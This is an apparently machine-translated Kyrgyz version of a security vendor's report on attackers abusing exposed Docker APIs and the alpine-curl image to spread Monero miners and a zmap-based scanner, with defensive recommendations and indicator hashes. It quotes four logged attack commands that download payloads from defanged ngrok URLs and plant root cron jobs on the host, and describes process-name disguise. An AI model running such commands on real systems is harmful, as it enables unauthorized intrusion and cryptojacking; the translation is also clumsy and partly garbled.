Криптовалюта кенчилерин жайылтуу үчүн менчик эмес Docker API жана коомчулуктун коомдук сүрөттөрү кандайча колдонулуп жатат

Криптовалюта кенчилерин жайылтуу үчүн менчик эмес Docker API жана коомчулуктун коомдук сүрөттөрү кандайча колдонулуп жатат

Биз коркунучтарга көз салуу үчүн түзүлгөн бал идиштерин колдонуу менен чогултулган маалыматтарды талдап чыктык. Жана биз Docker Hub сайтында коомчулук тарабынан жарыяланган сүрөттү колдонуп, жалган контейнерлер катары жайгаштырылган керексиз же уруксатсыз криптовалюталык шахтерлордун олуттуу активдүүлүгүн аныктадык. Сүрөт зыяндуу cryptocurrency кенчилерди куткарат кызматтын бир бөлүгү катары колдонулат.

Кошумчалай кетсек, тармактар ​​менен иштөө үчүн программалар ачык кошуна контейнерлерге жана тиркемелерге кирүү үчүн орнотулган.

Биз бал челектерди ошол бойдон, башкача айтканда, демейки жөндөөлөр менен, эч кандай коопсуздук чараларысыз же кошумча программалык камсыздоону орнотуусуз калтырабыз. Каталарды жана жөнөкөй кемчиликтерди болтурбоо үчүн Dockerде баштапкы орнотуу боюнча сунуштар бар экенин эске алыңыз. Бирок колдонулган бал челектери контейнерлердин ичиндеги тиркемелер эмес, контейнерлештирүү платформасына багытталган чабуулдарды аныктоо үчүн иштелип чыккан контейнерлер.

Табылган зыяндуу иш-аракет дагы өзгөчө, анткени ал аялууларды талап кылбайт жана ошондой эле Docker версиясынан көз карандысыз. Туура эмес конфигурацияланган, демек, ачык контейнер сүрөтүн табуу чабуулчуларга көптөгөн ачык серверлерди жугузушу үчүн керек.

Жабык эмес Docker API колдонуучуга кеңири спектрин аткарууга мүмкүндүк берет командалар, анын ичинде иштеп жаткан контейнерлердин тизмесин алуу, белгилүү бир контейнерден журналдарды алуу, баштоо, токтотуу (анын ичинде мажбурлоо) жана ал тургай, көрсөтүлгөн орнотуулар менен белгилүү бир сүрөттөлүштөн жаңы контейнерди түзүү.

Криптовалюта кенчилерин жайылтуу үчүн менчик эмес Docker API жана коомчулуктун коомдук сүрөттөрү кандайча колдонулуп жатат
Сол жакта кесепеттүү программаны жеткирүү ыкмасы. Оң жакта чабуулчунун чөйрөсү бар, ал сүрөттөрдү алыстан жылдырууга мүмкүндүк берет.

Криптовалюта кенчилерин жайылтуу үчүн менчик эмес Docker API жана коомчулуктун коомдук сүрөттөрү кандайча колдонулуп жатат
3762 ачык Docker APIнин өлкө боюнча бөлүштүрүлүшү. 12.02.2019/XNUMX/XNUMXдагы Shodan издөөнүн негизинде

Чабуул чынжырынын жана пайдалуу жүктүн параметрлери

Зыяндуу аракеттер бал челектеринин жардамы менен гана эмес аныкталган. Шодандын маалыматтары көрсөткөндөй, ачыкка чыккан Docker API'леринин саны (экинчи графикти караңыз) биз Monero cryptocurrency тоо-кен казып алуу программасын жайылтуу үчүн көпүрө катары колдонулган туура эмес конфигурацияланган контейнерди изилдегенден бери көбөйдү. Өткөн жылдын октябрь айында (2018-ж., учурдагы маалыматтар сиз ушундай көрүнсөңүз болот болжол менен котормочу) 856 гана ачык API бар болчу.

Бал чөйчөкчөлөрүнүн журналдарын изилдөө контейнердин сүрөтүн колдонуу менен да байланыштуу экенин көрсөттү ngrok, коопсуз байланыштарды орнотуу же трафикти жалпыга жеткиликтүү пункттардан көрсөтүлгөн даректерге же ресурстарга (мисалы, localhost) багыттоо үчүн курал. Бул чабуулчуларга пайдалуу жүктү ачык серверге жеткирүүдө динамикалык URL түзүүгө мүмкүндүк берет. Төмөндө ngrok кызматын кыянаттык менен пайдаланууну көрсөткөн журналдардан код мисалдары келтирилген:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Көрүнүп тургандай, жүктөлгөн файлдар дайыма өзгөрүп турган URL даректеринен жүктөлөт. Бул URL даректеринин жарактуулук мөөнөтү кыска, андыктан пайдалуу жүктөрдү мөөнөтү аяктагандан кийин жүктөп алуу мүмкүн эмес.

Жүктөөнүн эки варианты бар. Биринчиси, тоо-кен казып алуу бассейнине туташкан Linux үчүн түзүлгөн ELF шахтёру (Coinminer.SH.MALXMR.ATNO катары аныкталган). Экинчиси - тармак диапазондорун сканерлөө жана андан кийин жаңы максаттарды издөө үчүн колдонулган белгилүү бир тармак куралдарын алуу үчүн иштелип чыккан скрипт (TrojanSpy.SH.ZNETMAP.A).

Тамчы скрипт эки өзгөрмөлөрдү белгилейт, алар андан кийин криптовалютаны иштетүү үчүн колдонулат. HOST өзгөрмөсүндө зыяндуу файлдар жайгашкан URL дареги бар, ал эми RIP өзгөрмөсү жайылтыла турган кенчинин файл аты (чындыгында, хэш) болуп саналат. HOST өзгөрмө хэш өзгөргөн сайын өзгөрөт. Скрипт ошондой эле башка эч кандай cryptocurrency шахтерлор чабуул серверде иштеп жатканын текшерүүгө аракет кылат.

Криптовалюта кенчилерин жайылтуу үчүн менчик эмес Docker API жана коомчулуктун коомдук сүрөттөрү кандайча колдонулуп жатат
HOST жана RIP өзгөрмөлөрүнүн мисалдары, ошондой эле башка кенчилер иштебегенин текшерүү үчүн колдонулган код үзүндүсү

Майнерди баштоодон мурун, ал nginx деп аталат. Бул скрипттин башка версиялары кенчинин атын Linux чөйрөлөрүндө болушу мүмкүн болгон башка мыйзамдуу кызматтарга өзгөртөт. Бул, адатта, иштеп жаткан процесстердин тизмесине каршы текшерүүлөрдү айланып өтүү үчүн жетиштүү.

Издөө скриптинин да өзгөчөлүктөрү бар. Бул керектүү куралдарды жайылтуу үчүн ошол эле URL кызматы менен иштейт. Алардын арасында тармактарды сканерлөө жана ачык порттордун тизмесин алуу үчүн колдонулган zmap бинардык системасы бар. Скрипт ошондой эле табылган кызматтар менен иштешүү жана алардан табылган кызмат жөнүндө кошумча маалыматты (мисалы, анын версиясы) аныктоо үчүн баннерлерди алуу үчүн колдонулган дагы бир бинардык файлды жүктөйт.

Скрипт ошондой эле сканерлөө үчүн кээ бир тармак диапазондорун алдын ала аныктайт, бирок бул сценарийдин версиясына жараша болот. Ал ошондой эле кызматтардан максаттуу портторду орнотот - бул учурда Docker - сканерлөөдөн мурун.

Мүмкүн болгон максаттар табылар замат алардан баннерлер автоматтык түрдө алынып салынат. Скрипт ошондой эле кызматтарга, тиркемелерге, компоненттерге же платформаларга жараша максаттарды чыпкалайт: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16 кардары жана Apache CouchDB. Эгерде сканерленген сервер алардын бирине дал келсе, ал текст файлында сакталат, аны чабуулчулар кийинчерээк талдоо жана хакерлик үчүн колдоно алышат. Бул текст файлдары чабуулчулардын серверлерине динамикалык шилтемелер аркылуу жүктөлөт. Башкача айтканда, ар бир файл үчүн өзүнчө URL колдонулат, бул кийинки жетүү кыйын экенин билдирет.

Чабуул вектору - бул Докердин сүрөтү, муну кийинки эки коддон көрүүгө болот.

Криптовалюта кенчилерин жайылтуу үчүн менчик эмес Docker API жана коомчулуктун коомдук сүрөттөрү кандайча колдонулуп жатат
Жогору жагында мыйзамдуу кызматка атын өзгөртүү, ал эми ылдый жагында тармактарды сканерлөө үчүн zmap кантип колдонулат

Криптовалюта кенчилерин жайылтуу үчүн менчик эмес Docker API жана коомчулуктун коомдук сүрөттөрү кандайча колдонулуп жатат
Жогору жагында алдын ала аныкталган тармак диапазондору, ылдый жагында кызматтарды, анын ичинде Dockerди издөө үчүн атайын порттор бар.

Криптовалюта кенчилерин жайылтуу үчүн менчик эмес Docker API жана коомчулуктун коомдук сүрөттөрү кандайча колдонулуп жатат
Скриншот альп тармал сүрөтү 10 миллиондон ашык жолу жүктөлүп алынганын көрсөтүп турат

Alpine Linux жана curl негизинде, ар кандай протоколдор аркылуу файлдарды өткөрүү үчүн ресурстук үнөмдүү CLI куралы, сиз кура аласыз Докер сүрөтү. Мурунку сүрөттө көрүнүп тургандай, бул сүрөт буга чейин 10 миллиондон ашык жолу жүктөлүп алынган. Жүктөлүп алынгандардын көп саны бул сүрөттү кирүү чекити катары колдонууну билдириши мүмкүн; бул сүрөт алты айдан ашык убакыт мурун жаңыртылган; колдонуучулар бул репозиторийден башка сүрөттөрдү көп жүктөп алышкан эмес. Докерде кирүү чекити - контейнерди иштетүү үчүн конфигурациялоо үчүн колдонулган нускамалардын жыйындысы. Эгер кирүү чекитинин жөндөөлөрү туура эмес болсо (мисалы, контейнер Интернеттен ачык калган), сүрөт чабуулдун вектору катары колдонулушу мүмкүн. Чабуулчулар аны туура эмес конфигурацияланган же ачык контейнерди колдоого алынбай калса, пайдалуу жүктү жеткирүү үчүн колдоно алышат.

Белгилей кетчү нерсе, бул сүрөт (alpine-curl) өзү зыяндуу эмес, бирок жогоруда көрүп тургандай, ал зыяндуу функцияларды аткаруу үчүн колдонулушу мүмкүн. Окшош Docker сүрөттөрү зыяндуу аракеттерди жасоо үчүн да колдонулушу мүмкүн. Биз Докер менен байланышып, бул маселе боюнча алар менен иштештик.

сунуштар

Туура эмес жөндөө калдыктар туруктуу көйгөй көп компаниялар үчүн, өзгөчө ишке ашыруу үчүн тамтык, тез өнүктүрүүгө жана жеткирүүгө багытталган. Баары аудиттин жана мониторингдин эрежелерин сактоо, маалыматтардын купуялуулугун көзөмөлдөө зарылчылыгы, ошондой эле алардын сакталбагандыгынан келип чыккан чоң зыян менен курчутат. Иштеп чыгуунун өмүр циклине коопсуздукту автоматташтыруу башка учурда байкалбай калышы мүмкүн болгон коопсуздук тешиктерин табууга гана жардам бербестен, ошондой эле тиркеме орнотулгандан кийин ар бир табылган кемчилик же туура эмес конфигурация үчүн кошумча программалык камсыздоону иштетүү сыяктуу керексиз жумуш жүгүн азайтууга жардам берет.

Бул макалада талкууланган окуя төмөнкү сунуштарды, анын ичинде башынан коопсуздукту эске алуу зарылдыгын баса белгилейт:

  • Системалык администраторлор жана иштеп чыгуучулар үчүн: Ар дайым API жөндөөлөрүңүздү текшерип, баары белгилүү бир серверден же ички тармактан келген суроо-талаптарды гана кабыл алуу үчүн конфигурацияланганын текшериңиз.
  • Эң аз укуктар принцибин аткарыңыз: контейнер сүрөттөрүнө кол коюлганын жана текшерилгенин текшериңиз, маанилүү компоненттерге кирүүнү чектөө (контейнерди ишке киргизүү кызматы) жана тармактык байланыштарга шифрлөө кошуу.
  • Follow сунуштар жана коопсуздук механизмдерин иштетүү, мис. Докерден жана орнотулган коопсуздук өзгөчөлүктөрү.
  • Контейнерде иштеп жаткан процесстер жөнүндө кошумча маалымат алуу үчүн (мисалы, спуфингди аныктоо же кемчиликтерди издөө үчүн) иштөө убакыттарын жана сүрөттөрдү автоматташтырылган сканерден колдонуңуз. Колдонмону көзөмөлдөө жана бүтүндүккө мониторинг серверлерге, файлдарга жана система аймактарына анормалдуу өзгөрүүлөрдү көзөмөлдөөгө жардам берет.

Trendmicro DevOps командаларына коопсуз түзүүгө, тез жайылтууга жана каалаган жерден ишке киргизүүгө жардам берет. Trend Micro Гибриддик булут коопсуздугу Уюмдун DevOps тутумунда күчтүү, жөнөкөйлөштүрүлгөн жана автоматташтырылган коопсуздукту камсыз кылат жана бир нече коркунучтан коргонууну камсыз кылат XGen физикалык, виртуалдык жана булуттагы жүктөрдү иштөө учурунда коргоо үчүн. Ал ошондой эле контейнер коопсуздугун кошот Deep Security и Deep Security Smart Check, алар жайгаштырылганга чейин коркунучтарды болтурбоо үчүн иштеп чыгуу түтүкчөсүнүн каалаган жеринде Docker контейнер сүрөттөрүн кесепеттүү программаларды жана алсыздыктар үчүн сканерлейт.

Компромисстин белгилери

Тиешелүү хэштер:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

боюнча Докер видео курсу Практикалык баяндамачылар жогоруда сүрөттөлгөн жагдайдын пайда болуу ыктымалдуулугун азайтуу же толугу менен болтурбоо үчүн биринчи кезекте кандай орнотууларды жасоо керектигин көрсөтүп беришет. Ал эми 19-21-августта онлайн интенсивдүү DevOps Tools & Cheats Ушул жана ушуга окшогон коопсуздук көйгөйлөрүн кесиптештер жана практик мугалимдер менен тегерек столдо талкууласаңыз болот, анда ар бир адам өз оюн айтып, тажрыйбалуу кесиптештердин кайгысын жана ийгиликтерин уга алат.

Source: www.habr.com

Комментарий кошуу